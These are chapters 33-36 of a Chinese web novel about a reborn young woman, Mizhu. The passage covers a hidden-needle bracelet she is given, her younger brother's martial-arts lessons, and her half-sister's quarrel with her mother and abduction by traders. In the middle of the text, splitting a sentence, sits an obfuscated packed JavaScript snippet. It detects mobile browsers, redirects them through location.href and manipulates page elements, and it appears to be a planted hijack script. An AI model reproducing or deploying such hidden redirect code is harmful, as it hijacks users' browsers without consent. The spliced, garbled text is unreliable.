窗棂落下,将原本近在咫尺的姑娘,挡在了一窗之隔的位置。 华宣猝不及防。 33.第 33 章 虽然以他在武学上的身手,早就在蜜珠起身过来的时候,就能做出反应挡住窗格,但他未曾想到迎来的一个闭门羹。 南宁世子毕竟也是皇家后裔,哪怕因着祖母的缘故,带了些许前朝皇室的血脉,但在明面上,没有人去提这一点,众人只说他是长公主唯一的儿子,再怎么样,在当面对着他时,礼数是到位的。 所以今日这样的闭门羹,往前数二十年,华宣真是第一次尝到。 站在窗前沉默了几息,华宣静静咀嚼着心里的滋味。 半晌,他低声笑了出来。 他半点都没有生气,反而觉得好笑。想也能知道,为何蜜珠姑娘会忽然变了脸过来关窗。 人家这是嫌他方才说的话,太过于孟浪了,所以才不高兴了。 但怪可爱的。 华宣非但不恼,反而有种被自己怀里抱着的小猫轻轻挠了一下的感觉。 猫儿身子柔软,还有漂亮的长毛,眼睛圆溜溜带着警惕,脚步也轻,但即使如此,它也没有什么攻击性,恼怒起来只会喵喵叫,一爪子上来只能留下一点儿红痕。 算得了什么呢? 就是被它多挠个几下,也算不上疼。 … “抱歉,姑娘。是我出言不逊。” 终究还是华宣先开口。 不然能怎么办呢。 屋子里头的姑娘,是他将来要明媒正娶的世子妃,人家对外男保持戒心,时刻记着保持距离,他若因此还好赖不分,就有些何不食肉糜了。 那么好的姑娘,怎么就偏偏成了他的未婚妻? 皇位上的舅舅,别的好事没多做,但在赐婚这件事上,总是有些独到的眼光。 满京城那么多女子,环肥燕瘦性情不同,其实他都不喜欢。但皇帝就是能在这么多女子之间,把最好最宝贵的那个挑出来,赐给他当妻子。 他还真是…从第一次见就被吸引。 若这不是天定的缘分,什么才是? 对天赐良缘,若不好好珍惜,才叫天打雷劈。 华宣喉结滚动:“往后我不再说这些冒昧的混账话,你别气了。” 听着无名这般好声好气的道歉,本来的确有些羞恼的蜜珠,也忽然感到赧然。 “明日你先去门房那里,过一下明路再进门。我会和蜜林说好,有男教习来教他武艺,等我从教养嬷嬷那回来,就去寻你们。” 蜜珠试图转移话题。 华宣听出她的羞赧,不自觉地弯唇笑了。 “好。都听你的。” 他显得如此好说话,脾性温和,再联想当初拦路劫马车的景象,活脱脱判若两人,几乎让人以为记忆里那个初见的无名面具男,才是假的。 蜜珠转过身,背对着窗,明明知道隔着窗,无名也看不到自己的神情,但总觉得转过去后,心底会放松一些。 “这个给你。” 结束对话的是华宣。 他将什么东西轻轻放在了窗边。 蜜珠的好奇心刚刚升起,正犹豫着要不要重新开窗,就见外头的小柳儿和蓄月,端着热水走了进来。 “小姐,今日也是药浴!”小柳儿如今都已经习惯自家小姐药浴了。 蜜珠的心陡然提起来一瞬,下意识用余光看向窗口。 然而那里没了动静,似乎无名很有一种提前预判局势的能力,每每在有人来时,都能迅速做出反应离开,不让旁人发现。 小柳儿还在叽叽喳喳说起什么时,蓄月的性情总是沉稳一些,观察力也更加细致,注意到了蜜珠看向窗边的动作。 她心中稍一思量,立刻就联想到了之前的面具男子。 也只有对方才会在蜜府,如此神龙不见尾的出没了。 想到那面具男子,蓄月心中就不禁生起一些隐忧。 那男子瞧着就是个能说会道的,且行事又有些不走寻常路,性情看着和一般人不同,并不是个好相与的。 小姐才从曲立封那样的火坑里跳出来,难道这就跳入了下一个么。可别忘了大婚就在眼前,还有两个多月,就要嫁到南宁王府了。 那位长公主如今瞧着和善,那是建立在小姐是对方的儿媳这样的基础上。可并不是长公主先天性情温和。 早年市坊间的传闻里,也有提过不止一次,长公主自幼被骄纵,无论是故去的先帝,还是如今的明帝,都把长公主捧在掌心。 这样顺风顺水长大的女子,习惯了身边人的附和听从,若是知道自己将来的儿媳接触外男,恐怕就不会是如今这副慈眉善目好说话的样子了。 一时间,蓄月心中百种隐约,都到了嘴边,想要开口劝一下。 蜜珠却像是忽然察觉到了她的心绪,扭头对她道。 “明日起,蜜林会有个男教习,专门教他武艺。” 原本这事儿说起来坦坦荡荡,没必要有任何避讳的。但兴许是因着之前无名在窗外说的那句话有些越界,那个玩笑开的人心中震荡。蜜珠觉得自己没那么坦然了。 至少在面对蓄月担忧的神情时,她自己都默然了一下。 看来的确是要和对方保持距离。 局外人常常能看清整个局势,而她作为局中人,却往往一叶障目,窥不清真相。 蜜珠知道自己并不是那种天生聪慧的人,那么,身边人的意见,她就要常常重视,听进去,以去矫正自己的言行,不犯下什么错。 “蓄月,去开那边的窗,看看有什么东西没拿进来。” 蜜珠索性也不瞒着蓄月了,主动提起。 蓄月心中顿时了然。 趁着蜜珠这会儿还没有沐浴,她走过去轻轻将窗棂推开。 果不其然,看到了两样东西。 其中一物,是一个小巧精致的银哨子。 还有一物,则是一个瞧着样式古朴但花纹比较丰富的镯子。 与这两样东西放在一起的,还有一张小小的字条,被压在了镯子下面。 蓄月心中咯噔,面上却不显露,只将这两样东西都拿了过去给蜜珠。 蜜珠拿到之后,也是一阵沉默。 还是小柳儿先打破僵局,看到了那张字条:“这镯子竟然是个暗器!” 作为打小就陪在蜜珠身边的贴身丫鬟,小柳儿早年也是跟着学过点字的,是以,普通的书信往来她都能看懂。 镯子是暗器? 听了这话,蜜珠回过神,竟然心里一松。 方才她只以为镯子是无名送的首饰,竟然有些慌乱,不知道该怎么解释对方的言行。 好在它是暗器。 这样一想,这暗器的确是精妙,谁能想到一个被女子放在腕间装饰的镯子,竟然是暗器呢。 “我看看。”她接过字条,快速扫过那几行字。 随即,蜜珠脸上浮现了几丝惊异。 这镯子这么神奇吗? 她本以为无名教自己暗器之道,应是教她怎么用小石子,或者怎么用小金针去攻击,就没想过暗器本身的价值。 但看字条上写的暗器用法,这镯子是专门为不通武艺的人打造的,平日里戴着是个普通镯子,但内里中空,藏了许多银针,而且那银针上还淬了麻药。 若是遇到危急时刻,按照字条上的用法,将镯子扭动几下,就能让银针对准敌人发射,从而起到一击必中,麻醉对方的效果。 几乎是在看完字条的用法之后,蜜珠一下子就喜欢上了这个镯子! 她爱不释手的将镯子在手里摩挲了一会儿,还试着用它发了几下银针,果然非常方便。 只不过… 越是觉得这镯子好,蜜珠心中就越不是滋味,很过意不去。 下次见到无名,得问问这暗器花了多少银子,她得把这个钱出了,不能占人便宜。 至于另外一个哨子。 字条上并没有提到它。 哨子的用处并不常见,蜜珠拿在手里看了好一阵,都没看出它有什么特别。 还是小柳儿催促她:“小姐,快沐浴吧。水凉了。” 蜜珠这才放下这两样东西,进木桶里沐浴。 只是等到沐浴完毕时,却见蓄月从身后取出来一个膏状的东西,要给她抹上。 “这是何物?”蜜珠惊奇。 小柳儿先开口回答道:“这也是那个教养嬷嬷连着衣物,一同送来的。说是让小姐沐浴后抹上,能美容养颜,去除伤疤。” 教养嬷嬷先前是在皇宫里待过的,是以,哪怕到了民间,对待那些来让她教养教规矩的姑娘,也都用一种选秀女的严苛标准。 大到女子一言一行,乃至走路时步摇晃动的弧度,小到她们身上的味道和皮肤,要淡香但不熏人,要肤若凝脂又没有任何伤痕。 南宁王府仔细说来也和皇族挂钩,说不准这个教养嬷嬷,就是因着蜜珠将来要嫁给南宁世子,才会这般去要求她。哪怕她名义上的未婚夫,兴许连圆房都做不到,她注定了嫁过去要独守闺房一辈子。 蜜珠沉默了片刻,半晌,抬起手臂,示意她们将香膏抹上,没再多言。 “小姐,这香膏果真有用,涂上去后,小姐的肌肤更加雪白莹润了。” 小柳儿惊奇开口。 从前就听过,宫廷里的那些贵妃娘娘们,吃穿用度都和民间不同,就是她们用的香膏,都是那种专门 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本以为这一天就这么过去了。 快入睡时,就见蜜林带了书童噔噔噔跑到她院子里。 “嫡姐!”小少年清朗的嗓音扯开了喊时,听着有股雀跃。 他这副模样,瞧着和从前很不一样,倒像是换了个人。 这副变化,就连下人们也看在眼里,觉得小少爷没有以前那么阴郁和“讨人厌”了。 “少爷,大小姐已经歇着了,您有什么事儿不如明儿再来?” 小柳儿心疼自家小姐的事情多,不想让蜜林打扰到蜜珠。 蜜林却只当没看出小柳儿的华外之意:“等什么明日!我今日就要见嫡姐!” “嫡姐!嫡姐!”张着大嘴巴喊人的蜜林,就跟只倔强的熊一样,蹲在蜜珠院子门口不走了。 大有一种蜜珠今日不出来,他就会一直地老天荒等下去的架势。 他这股劲儿,倒是让人忍俊不禁想笑了。 除了蓄月和小柳儿以外的婆子们,年龄都大一些,包容心也多点,瞧见小少爷这副撒泼打滚,活脱脱一副没开蒙的孩童模样,都觉得好笑。 院子里的气氛,一时间僵持在那儿。 旁的丫鬟婆子们也不劝蜜林了,只留他一个继续扯着嗓子叫。 “嫡姐!嫡姐!” 他喊声颇有规律,隔一会儿就喊一声,听着像只小公鸭子。 蜜珠都快歇下了,听到动静只能再穿衣裳起来,刚好见到蓄月从外头进来。 “谁在外头?” 蜜珠还有些困意,一双清凌凌的眼眸,瞧着格外水润,朦胧到像是一眨眼就要落下泪来,说不清的多情缱绻。 饶是蓄月性情沉稳,又同为女子,猛不丁见到自家姑娘的容貌,依然会被惊艳到。 “是小少爷。” 蓄月低声开口,掩去了眸中的惊艳之色,忍不住叹息,怨不得那面具男子总是三番两次上门来见小姐了。 大小姐这容颜,就在后宫约莫也是能当贵妃娘娘的。 那男子和小姐多接触了几次,忍不住心驰荡漾,也是说不准的事。 她很快将心中杂念驱散,帮着蜜珠将衣衫整理了一番。 蜜珠走出房门,看到天色已经完全黑了。 “让小少爷进来吧。”蜜珠开口。 很快蜜林就被放进了院子,他一个箭步冲过来,人都差点因为激动而摔一跤。 “嫡姐!” 大概是那天雷雨夜里哭泣时,被蜜珠寻到,又听蜜珠说了那番话,不自觉的被拉近了一点心中距离。而今蜜林对这个嫡姐,莫名多出几丝说不清的信赖。 反倒是对之前很相信的蜜老爷,少了亲近。 一个人若是从前对你无微不至的好,忽然有一日爆发点脾气,就容易让人觉得从前都是在做表面功夫。 但若以前就不冷不淡没什么关联,反而在你最脆弱狼狈的时候,起到了托一把的作用,最终会令人心中生出亲近感,觉得这是个好人、可以依赖的人。 “嫡姐,你给我找了教习师傅教我习武!” 蜜林兴奋极了,蹦到蜜珠跟前时,露出了换牙时还没完全长出来的一个豁口。 往常他很少这样笑,也就从未让人发现过,他的牙齿不齐。 “他来过了?” 蜜珠被蜜林这股傻乎乎的劲儿感染,不由多问了几句。 “对!他还会飞,是从我墙上跳下来的,当时可把我吓一跳!” 34.第 34 章 似乎是想到了之前教习师傅出场的样子,蜜林咧开嘴时,瞧着完全没有之前的调皮顽劣了。 没想到这种能飞檐走壁的厉害人物,竟然能成为自己的教习师傅。 这可比读书识字有意思多了。 不像学堂里的夫子,那么一大把年纪了,就爱和他们说之乎者也,动不动就考校,弄得人半点在学堂好好学的心思都没了。 习武就不一样了,那是破开规矩! 瞧着蜜林说起这事儿的兴奋,蜜珠看他就比先前要顺眼了一些。 她对习武也是这种热忱劲儿。先前她虽然拉着蜜云一起习武,打着能强身健体的名号,但也能看出来,蜜云骨子里是文静的,倘若不是自己拉着,对方多半不会碰习武这事儿。 可蜜林瞧着却是发自内心喜欢习武,这就跟蜜珠说到了一块儿。 寻常世家公子里,能找到像蜜林这般,对习武这么热忱的,也是少数。 “既然喜欢,那就好好珍惜机会,明日起跟着教习练武,一天也不许落下。明白吗?” 蜜珠板着脸叮嘱,这模样挺有嫡姐的风范。 蜜林小鸡啄米地点头:“肯定一天不落!” 这蜜府一直循规蹈矩的,什么时辰做什么事情,没人是喜笑颜开的。 自从一年来来了这儿后,蜜林心里其实一直在打鼓,总觉得自己和如今获得的一切都格格不入。 只有他折腾点事情出来,才会感觉舒服点儿,没那么窒息了。 如今府里不仅只有他一个人“捣乱”,就连嫡姐也忽然开始不守规矩,还能带着他习武。 蜜林瞬间觉得自己在这地方,多了许多归属感,心中都踏实起来。 “对了,嫡姐,我的教习是何方神圣啊?” 哪怕今日已经天黑,蜜林还是舍不得回去歇息,还想和嫡姐打听更多有用的消息。 他难得对一个事情这么感兴趣,喋喋不休追问的样子,恍若变成了六七岁的稚子。 “你怎么瞒住爹那里?万一他知道了,会不会怪罪我们?” 蜜珠听着这弟弟一句接一句的问题,后知后觉地意识到,蜜林其实是个话痨。 只是前世她和蜜林交集太少,以至于竟然从来没发现对方的真实性情。 “何方神圣?我也不知道。半路遇到的武林高手。” 蜜珠似笑非笑着开口,柳叶眉弯弯,杏儿眼也清亮。 然而她说的真话,蜜林却压根不信。 “哪儿这么容易半路就遇到一个这样的武林高手,我不信。” 蜜林气哼哼,只觉得是嫡姐还不亲近自己,所以不愿说真话。 不过没关系,日子久了,嫡姐总会知道,往后他才是那个真正靠得住的人。 他才不会成为爹那样,让所有人避之不及害怕的人。 他要当一个顶天立地的男儿! 对,就从学好武艺,将来保护蜜府的所有老弱妇孺开始! 蜜珠看着弟弟突然爆发的豪情壮志,那种仿佛吃饱了饭随时准备上战场的热血样子,看着挺感染人的。 “至于爹会不会发现我们习武,只要你这边不被发现,我就没有问题。” 蜜珠接了方才那个话茬开口。 蜜林听着这话,立刻拍着胸膛保证,自己这里绝对不会走漏风声。 嫡姐对他其实是好的,特意为他寻来教习教他武功。 他也是知道好赖的,别人既然对他有滴水之恩,他将来肯定要涌泉相报。 想着自己在外头听到的,所有关于南宁王府的风声,蜜林心里忽然有了一个豪迈的念头。 ——他将来要当蜜家最厉害的那个人。 若是嫡姐一直这样看重他,那他就要当嫡姐出嫁了之后娘家的靠山! 蜜珠不知道他小小脑袋瓜里,变来变去那么多念头,姐弟二人又说了会话,蜜珠实在困了,就打发蜜林走了。 离开小院子的时候,蜜林一步三回头,显得很不舍得。 其实只不过是习武一件事,哪里有那么多问题要问。 只是他实在是第一次有机会,能和嫡姐说那么多话,又不被排斥在外。 这种融入到这个家,被接纳的感觉,是从前从未有过的。 蜜林贪恋这种感觉。 “少爷,咱还不走吗?”尚通站在蜜林身侧,瞅着少爷这好像小鸡崽离开蛋壳的留恋劲儿,摸着后脑勺有些想不通。 来的时候,少爷明明看着气势汹汹,说是大小姐不知道从哪里找的教习,不知来历和根基,他要好好去说道说道。 结果真的闯到了大小姐院子里,见到了人,少爷却忽然语气一转,变成了去要糖吃的小孩子。不仅没有去质疑的意思,反而对大小姐找教习这事儿满意到找不到词儿夸。 尚通慢半拍地琢磨出了一个道理——感情小少爷从头到尾就没有想去找大小姐麻烦的意思。 而是借着找教习的机会,去和大小姐说话? “尚通,我们要努力了。” 转过脸准备离开的蜜林,一脸沉重。 尚通脚下一个趔趄:“啊?” 有些被少爷的神态吓到。 上次见少爷这么认真,还是少爷准备逃学的时候。 “咱…咱要努力干啥?”尚通哆嗦着问,生怕这个才安分了没几日的祖宗,又闹出什么沸反盈天的事情来,拉着他一起不得安宁。 蜜林点头,豁了口子的牙齿,在抿着嘴时,根本看不出来了。 “你还不明白吗?嫡姐是在培养我!” 他看着尚通一脸茫然的样子,忍不住摇头。 “蠢笨如你,看不出嫡姐的苦心。但我不同,我是被嫡姐寄予厚望的那个人,绝对不会让她失望!” 啊? 尚通更加懵了,他总觉得小祖宗的精神状态不太对,说的话明明每个字他都能听懂,怎么连在一起琢磨就不是那个味儿呢。 见书童是真的弄不懂自己在说什么,回程的路上,蜜林索性把话掰碎了讲给对方听。 “你是不是觉得不管是嫡姐,还是嫡母,近来变化都很大?” 蜜林问。 尚通想了想,跟着点头。 他并不是府里的老人,而是蜜林少爷来了之后,才被老爷夫人买进府来当书童的。所以具体过去蜜府怎么样,他还真不知道。 有限的见闻,还是从别的下人那知道的。 蜜林见书童点头,一拍他肩膀:“这就对了!” “我知道我不是爹亲生的,来府里他们都不欢迎。所以嫡姐嫡母她们之前是在观察我,试探我!” 一边说,蜜林一边摩拳擦掌:“是我不争气,没能领会到嫡姐的苦心,到现在才知道。也是上次那二十板子把我打醒了一些,我就说,怎么偌大一个蜜府,除了爹之外,就没个管事的人?嫡母嫡姐也显得太懦弱了些?” “现在我明白了!这是在试探我,考验我的品行!哎,想想真是危险。” “如今我是通过了嫡姐的考验,她才决定去培养我,她和嫡母也不再掩饰自己的真性情了,苦尽甘来啊。” 尚通都听傻了:“啊?” 他从没见过字句处少爷一口气说那么多话,都快能直接去接人家说书先生的饭碗了。 问题是,事情真的和少爷说的那样吗? 蜜林见书童傻愣愣看着自己,一拳头敲到了对方肩膀上,叹气。 “你太笨了尚通,还好你跟着的主子是我,我还不至于因为你笨而太过于嫌弃你。毕竟我嫡姐说了,有担当的真英雄真男人,是不会去欺凌弱小的。” “哎,要努力了啊。” 蜜林又是一声长叹,感觉人生都有了新的追求和光亮。 嫡姐嫁进了那样的夫家,不一定能安稳一辈子。但若有他这么个有本事的弟弟,背后一直有靠山,那就妥妥的能安稳下去了。 所以他要努力!要奋起!要当嫡姐最能依靠的弟弟! * 昨夜蜜珠没睡好,做了许多梦。 那些梦光怪陆离,里面有很多前世的记忆混杂着,令她清晨醒来时,头还涨涨的,不太舒服。 用清水洗了脸后,蜜珠缓过来一些,但脸色看着还是有些白。 蓄月担忧道:“这些日子小姐习武没放下过,许是身体透支,还是歇歇为好。” 蜜珠摇头:“和那个没关系。” 习 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虽说去教养嬷嬷那里没什么危险,但对于暗器这种护身的东西,还是从如今就开始习惯更好。 蜜云今日也知道嫡姐要去学规矩,她眼巴巴站在门前,看着嫡姐的马车离开,回去时,小脸都黯然了几分。 如今这般相处的日子,真是眼瞅着就一点点少下去。 想到将来要分别,嫡姐要嫁人,蜜云就很舍不得。 要是女子不用嫁人,不用离开长大的家就好了。 蜜云在那感伤时,刘小娘从厢房里出来,一瞧女儿那副伤春悲秋的模样,就气不打一处来。 “先前就与你讲过,和人相处留着点心,不要牵肠挂肚把什么都捧出去,多为自己打算才是真的。” “你是对你那嫡姐上心,当成真姐妹,人家嫁出去吃香的喝辣的,享尽荣华富贵了,也与你无关呐。” “你若是真聪明,就该听你亲娘的,让你嫡姐把你亲事放在心上,回头将一些名门公子推给你,才是正道理。” 蜜云低着脑袋听刘小娘说起这些,只觉得脑袋里闹哄哄的,根本就没法静下来,甚至有点儿头疼。 “娘是在为难嫡姐。”她抿唇,苍白脸上有些倔强。 刘小娘被女儿的顶撞弄得一懵,手里吃着的葡萄都不香了,竖起眼睛道。 “我为难她?你到底是谁生的?” 蜜云细声细气道:“我的家世身份摆在这儿,只是庶女,便是有那等高门大户的公子看中我,也不过是让我去当个侧室。嫁出去了都没人撑腰,受欺负了也没地方找人诉苦。” “我看着娘在爹手底下过日子,早就知道妾室难为,若不是嫡母生性仁慈,放在其他府上,后宅之间争斗不休,娘你都不一定能有那么舒坦的日子。” 刘小娘被女儿这番话,气的一佛升天,鼻孔都大了。 她哆嗦着手指,指着蜜云,愤怒道。 “好,好啊,我养出来的好女儿,十月怀胎就生了个你这么个坏东西,胳膊肘往外拐,倒是敢帮着外人来挖苦你老娘了!” “你嫌我身份低微,只恨不得是从王氏肚子里爬出来是不是!” 刘小娘性子本就火爆,早年是为了能在蜜老爷跟前站稳脚跟,才勉强压抑着性子,不让自己真实性情暴露出来,算是差点被憋坏。 这几年她几乎什么事情都顺着自己性子来,也就偶尔在蜜老爷跟前受点气罢了,而今对着自己那往常闷不做声,随意她发脾气奚落的女儿,陡然见着对方伶牙俐齿来怼自己的样子,她真是被气坏了。 “还不如当初把你生出来,就按在池子里!也省得我如今这般辛劳为你操心!” 刘小娘声音尖利,眼眶都红了。 蜜云就只是低着头听着,但身体却在微微发颤。 娘总是这样骂她,其实她早就习惯了。 可是她想不明白,为何日子一定要按照娘说的那样去过。 嫡姐有那样一门婚事,本就已经受委屈了,她怎么还能踩着嫡姐,让对方帮自己找好夫婿呢? 35.第 35 章 好的婚事岂是女子一厢情愿就能达成的。 高门大户之间的亲事,哪个不是多方衡量之后,门当户对了才下聘结亲? 她相貌不如嫡姐明艳,又不是嫡女,也没有什么才女的名声,只不过是许多女子中再平常不过的一个罢了,凭什么小娘就觉得她能嫁得比嫡姐还要好? 就连嫡姐都免不了将来要在南宁王府,看着长公主的脾性,才能过日子。其他亲事再好又能如何。 况且,小娘总在她耳边这样念叨,就给她一种,她生下来就是为了嫁人才存在的感觉。 倘若嫁的不好,那她这辈子好似就没什么奔头了一般。 蜜云觉得喘不过来气,但她又不知道做些什么,才能摆脱这种窒息的感觉。 也就只有这些日子,陪着嫡姐一起习武的时候,她才能感觉到自己是在活着,不是为了嫁人,也不是为了别的什么,就只是因着自己,才活着。 习武从来都不是规矩中要求女子去做的事儿,但她不讨厌,甚至坚持了几日后,觉出了点不同的滋味儿。 先是突破身体极限,总是汗流浃背,手和脚都在抖,但当真的承受不住了之后,倘若能再坚持一下,会生出一种自豪感——原来我能做到。 这种体验,蜜云从前根本就没有过。 并不是她喜欢习武,而是这件事情并不在女子被安排的进程上,就好像产生了一种,她在自由的路上行走,这样的错觉。 “娘,我能不嫁人吗?”蜜云终于鼓起勇气抬头,迎着还在盛怒中的刘小娘道:“非得有夫婿了,才能过日子么?” 一贯懦弱听话又寡言的女儿,猛不丁冒出这样的话来,只把刘小娘给吓了个够呛。 “你在说什么屁话!” 她禁不住想到了这段日子,女儿跟在蜜珠身后一起习武的事情,当下立刻就猜到,女儿的改变和习武此事有关。 她登时咬牙切齿道。 “看不出来,蜜珠还是个小毒妇!小小年纪,就算计的亲妹妹不想成亲嫁人,自己却跟着教养嬷嬷学规矩!” 若不是蜜珠,女儿是万万不会和她顶嘴的! 这还是她在女儿小的时候,就三令五申不许对方和蜜珠来往,只这段日子和对方接触,女儿才变成这样。 若是自幼就朝夕相处,女儿还不知道要变成什么样。 刘小娘怒火中烧,蜜云却也被娘的言辞刺伤,终于吼了出来。 “这和嫡姐没关系!娘自己爱算计人,就以为旁人也都和你一样!” 天知道她打小其实是很羡慕嫡姐的,然而并不是羡慕对方是嫡女。而是羡慕嫡母王氏是嫡姐的亲娘,是个温柔宽厚的女子,每次见到她都笑眯眯,好脾气又温和。 她在嫡母面前,都没有在小娘跟前这么紧张。 小娘喜怒无常,常常前一刻还在与她说笑,下一刻却忽然变了脸,然后对着她怒骂起府里的所有人。 就好像天底下所有人都在对不起小娘,对不起他们母女。 可是…可是事实是这样的吗? 蜜云的爆发,惹来了刘小娘不敢置信的眼神,后者受不了自己的威严被顶撞,恼羞成怒之下伸手就是一耳光。 蜜云被打得别过脸去,脖子都晃过去了,却愣是一声不吭。 她捂着脸回过眸,那眼神看着刘小娘心里一阵不安,仿佛自己刚才那一巴掌不应该挥出去。 蜜云转过身跑了。 刘小娘的腿下意识抬起半步,要追上去,却又被她硬生生止住了。 “小姐!”身旁的丫鬟婆子大急,下意识要去追。 刘小娘却厉声喊住他们。 “不许追!我倒要看看,她要去哪儿!” 嫌她是妾室,身份不够高,但也不看看,若不是投成了她的女儿。这天底下有这么多的贫民,许多女子就连吃饱穿暖都难,哪里还能去享受锦衣玉食? 她的女儿太清高了,清高到不晓得这个世道对女子有多苛刻。 若不依附于男子,找一门好亲事,如何能有她们母女如今这样的好日子啊? 丫鬟们被刘小娘喝住,焦急地对视了一眼,心中不放心。 ——二小姐这次怕是真伤心了。 此时的蜜珠,刚刚来到教养嬷嬷的府上。 下马车的时候,明明有丫鬟伸手扶她了,她却莫名心口一慌,脚差点崴到没站稳。 “小姐?没事儿吧?” 小柳儿关切询问,扶着蜜珠手臂紧张地看。 蜜珠摇了摇头。 “…没事。” 就是方才眼皮跳了一下,心口有些异常地闷。 蜜云打小儿都没这样顶撞过小娘,但今日种种情绪交织在一起,的确是忍无可忍了,才会这样全部爆发出来。 小娘说的每个字,都刺耳难听,却是构成了她过去每一年时光的日常。 她跑出小院子的时候,步伐还很快,眼眶也有些发红,等到走到大门处时,蜜云又下意识放慢步伐,整理了头发和衣袖,让自己慢条斯理的像个大家闺秀了。 她下意识不想让任何人看出自己的失态。 原本这个时候,她最想去找的就是嫡姐。 若是能和嫡姐待在一块儿,哪怕什么话也不说,也会觉得舒坦许多。 但嫡姐今日去教养嬷嬷那儿了,于是偌大的蜜府,竟然一时间没了她可以躲藏去得到一点喘息之机的地方。 她不知不觉就走出了蜜府大门。 门房虽然好奇她为何这个时候出去,身边竟然连个丫鬟都没跟着,但因着二小姐的身份在那儿,哪怕心中诧异,也没有出声阻拦。 蜜云头一次觉得,这蜜府其实也没有那么大。大到能把她的心都完全关住。 她靠着两只脚,没有要下人跟着,也走了出来,像是越过了某个囚笼。 但出去之后,天下还有她可去的地方么。 … 一群从西域过来的走商,停在了主街,注意到了蜜云。 “姑娘,有住的地方吗?” 走商里一个年纪大点的婆婆,朝着蜜云招手。 “婆婆年纪大了,走不动了,来这儿那么久,没个下脚的地。” 蜜云终于注意到了这群人,一看就不是中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13518279|137955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原本土的人,瞧着的确像是西域外头来的,穿着打扮都和他们不太一样,身上甚至还有兽皮裹着,头发编成了很多小股,一打眼看去像是很多条细细的蛇悬挂在脑袋上。 “那边。”蜜云抬起手,指了个客栈的方向。 看起来年纪最大的那个婆婆,咧开并不齐整的牙,笑得慈祥。 “姑娘,婆婆不认识啊。” 她靠近了一点,牵着自己的骆驼站在蜜云跟前,还抬手去拍蜜云肩膀。 “好孩子,婆婆得要你带着去。” 蜜云刚想说什么,就察觉一股香味从那婆婆抬起的手传来。这香味从来没闻过,但却让人意识恍惚。 等她回过神来,觉得不对劲的时候,人已经瘫软下去,失去了意识。 “你们…救…”蜜云的声音都没传出去,人就陷入了昏睡。 西域来的婆婆趁势接住蜜云… …… 教养嬷嬷被人称一句月夫人,听说对方从祖上开始,就是专门在宫廷中当嬷嬷的。 无论是前朝,还是如今的大令,都有一批秀女乃至贵人,是在月夫人的家族下,学到的规矩。 所以对方的住宅,虽比不得那些王侯贵族,但放在其他世家中,也算是比较显赫了。 蜜珠的马车进了对方府邸后,就有专门的婢女过来,迎着她进到月夫人在的宅子。 婢女们行走间,半点声音都没发出,脸上皆挂着恭顺的笑容,瞧着规矩就很好,甚至赶上宫里头那些伺候皇帝的气氛了。 蜜珠这辈子和上辈子,加起来都没进过皇宫,她不知道宫里是什么样的。 但这不妨碍她比照着如今见到的月夫人,去揣想宫廷中的模样。 “太史令蜜家的大姑娘,来吧。跟我走。” 一个大丫鬟打扮的人,站在蜜珠面前,不着痕迹地扫视了她一眼,然后开口。 能看出来,此人在月夫人的府上算是地位比较高的,一旁的其他婢女,在看到对方后,全都低头行了个礼。 “怎么称呼您?”蜜珠看着这人,细声开口问。 被询问的女子,瞧着约莫三十多的年纪,皮肤白净,眼神也干净,闻言笑道。 “姑娘唤我慈姑就得了。” 慈姑是月夫人手底下第一号管家,寻常来府里的姑娘,若是要接受规矩调教的,都得先由慈姑安排着过一遍。 她相貌瞧着温和,脾性也温和,很容易给人一种可靠亲和的感觉。 就连蜜珠瞧见对方时,都忍不住放松了几分,没了之前下马车的那种不安感。 “蜜姑娘可是体质不佳?脸色有些苍白,去歇息一会吧。月夫人稍后会一起见姑娘们。” “多谢慈姑,我身子无碍。”蜜珠笑了笑,没再多话。 但她心里却忍不住琢磨,方才那种忽然生出的不安感,到底从何而来? 若是换成前世,这种陡然生出的不安感,蜜珠不会太放在心上。 但她经历过重生,有了再世为人的经历,对于那些气运乃至其他神秘之说,就多了几丝警惕。 莫不是家中出了什么事? 36.第 36 章 等到蜜珠跟着慈姑走到一个专门休息的回廊下歇着时,蓄月关注着蜜珠的神情,轻声道。 “小姐,可是心中有事?” 蜜珠回过神:“我有些不安。蓄月,你让车夫带你回去看看,府里可有发生什么事,速速来告诉我。” 蓄月愣了片刻,但马上点头应是。 她的性情一贯就沉稳,凡是蜜珠吩咐的事,她但凡应下了,没有做不好的。虽然不解蜜珠为何这个时候让她回去,但还是一点儿都没拖延,立刻就转身回去了。 这下,蜜珠身边留着的丫鬟,就只剩下了小柳儿一个。 长廊里除了蜜珠之外,还有两个姑娘,看着也都是官宦之家的千金,只不过有些面生,蜜珠之前都没见过。 这两个姑娘早在蜜月跟着慈姑过来时,就注意到了她。 “芊芊,这是那位吗?” 穿着浅绿色衣裳的女子,用袖子掩着唇,小声和身旁的同伴说话。 身旁的姑娘着一身月牙白的衣衫,瞧着要更加文静一些,听到同伴这样问,忙小幅度地推了推对方。 “莫要无礼。” 两人是结伴而来的,瞧着此前就彼此认识,不像蜜珠过去那么深居简出,认不得京城里的各家贵女。 是以这次在月夫人这里看到了传闻中,南宁世子将来要迎娶的蜜家大姑娘,就有些好奇和忍不住。 “怎是无礼,我只是惊诧。原以为她是浪得虚名,特意传出个好听名声,好要捞一门亲事。哪里知道,她竟真的如此花容月貌。” 毕竟像蜜珠这样的情况,实在是罕见到无处可寻。 过去不怎么露面,也不参加什么赏花宴,导致在京城里除了那几个纨绔蹲点看过她之外,替她传了个貌若天仙的名头出去后,她就没什么其他的动静了。 但就那么点小动静,竟然还传到了当今圣上的耳朵里,弄出来了个赐婚。 把这么个从五品的小官之女,就这么赐给一个王府世子当世子妃,也实在是少见。 可以说是山鸡飞进了凤凰窝,一朝脱胎换骨了。 但若是让其他女子去换这门婚事,她们也是不愿意的。 毕竟未来夫婿只是门楣好,自个儿却是破落户痴傻儿,也是万万不能嫁的。 是以,如今京城里的贵女,说起蜜珠时,就像谈论一个异军突起闯入他们地盘里,叼走了一块儿肉的黄鼠狼。 